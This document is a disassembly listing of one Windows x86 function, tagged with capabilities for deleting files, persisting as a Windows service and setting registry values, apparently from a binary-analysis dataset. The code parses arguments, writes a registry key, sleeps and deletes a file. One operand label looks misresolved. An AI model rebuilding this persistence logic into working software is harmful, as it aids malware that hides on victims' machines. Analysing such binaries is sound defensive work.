Function at 0x405ed0
Capabilities:
Delete file
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44480b
mov eax, dword fs:[0]
push eax
sub esp, 0x498
mov eax, dword [0x45563c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
push 0
push 0x458cd0
call fcn.00417830
add esp, 0xc
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x47c], 1
jmp 0x405f34
mov eax, dword [ebp - 0x47c]
add eax, 1
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x47c]
cmp ecx, dword [ebp + 8]
jge 0x4060a6
push str._server
mov edx, dword [ebp - 0x47c]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.00412f4c
add esp, 8
test eax, eax
jne 0x406071
mov edx, dword [ebp - 0x47c]
add edx, 1
cmp edx, dword [ebp + 8]
jne 0x405f77
jmp 0x405f25
push 0x44cfa8
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
call fcn.00412f4c
add esp, 8
test eax, eax
jne 0x405f98
jmp 0x405f25
mov dword [ebp - 0x478], 0
mov dword [ebp - 0x488], 0
push 0
lea eax, [ebp - 0x478]
push eax
push 0
push 0x20206
push 0
push 0
push 0
push 0x44cfac
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0
jne 0x40606f
mov ecx, dword [ebp - 0x47c]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4 + 4]
mov dword [ebp - 0x484], eax
mov ecx, dword [ebp - 0x484]
add ecx, 1
mov dword [ebp - 0x490], ecx
mov edx, dword [ebp - 0x484]
mov al, byte [edx]
mov byte [ebp - 0x47d], al
add dword [ebp - 0x484], 1
cmp byte [ebp - 0x47d], 0
jne 0x406007
mov ecx, dword [ebp - 0x484]
sub ecx, dword [ebp - 0x490]
mov dword [ebp - 0x494], ecx
mov edx, dword [ebp - 0x494]
push edx
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + eax*4 + 4]
push edx
push 1
push 0
push 0x44cfdc
mov eax, dword [ebp - 0x478]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x478]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4060a1
push 0x44cfe4
mov edx, dword [ebp - 0x47c]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.00412f4c
add esp, 8
test eax, eax
jne 0x4060a1
mov edx, dword [ebp - 0x47c]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x48c], ecx
jmp 0x405f25
call fcn.00405c50
call fcn.00405ae0
call fcn.00405220
movzx edx, al
test edx, edx
jne 0x4060c4
or eax, 0xffffffff
jmp 0x4061c2
call fcn.00405450
movzx eax, al
test eax, eax
jne 0x4060d8
or eax, 0xffffffff
jmp 0x4061c2
call fcn.00405610
movzx ecx, al
test ecx, ecx
jne 0x4060ec
or eax, 0xffffffff
jmp 0x4061c2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004057d0
mov edx, dword [ebp - 0x48c]
push edx
call fcn.00405ab0
add esp, 4
movzx eax, al
test eax, eax
jne 0x40611a
or eax, 0xffffffff
jmp 0x4061c2
push 0x458cd0
push 0x44cfe8
call fcn.004034b0
push eax
call fcn.004038b0
add esp, 0xc
push 0x458cd0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x44cffc
push 0x44d00c
call fcn.004034b0
push eax
call fcn.004038b0
add esp, 0xc
push 1
lea ecx, [ebp - 0x474]
call fcn.00405c20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4a4], esp
push 0x44d01c
call fcn.00406270
mov dword [ebp - 0x49c], eax
lea ecx, [ebp - 0x474]
call fcn.0040e420
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x474]
call fcn.00410010
mov dword [ebp - 0x498], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x474]
call fcn.0040e6a0
mov eax, dword [ebp - 0x498]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00411455
mov esp, ebp
pop ebp
ret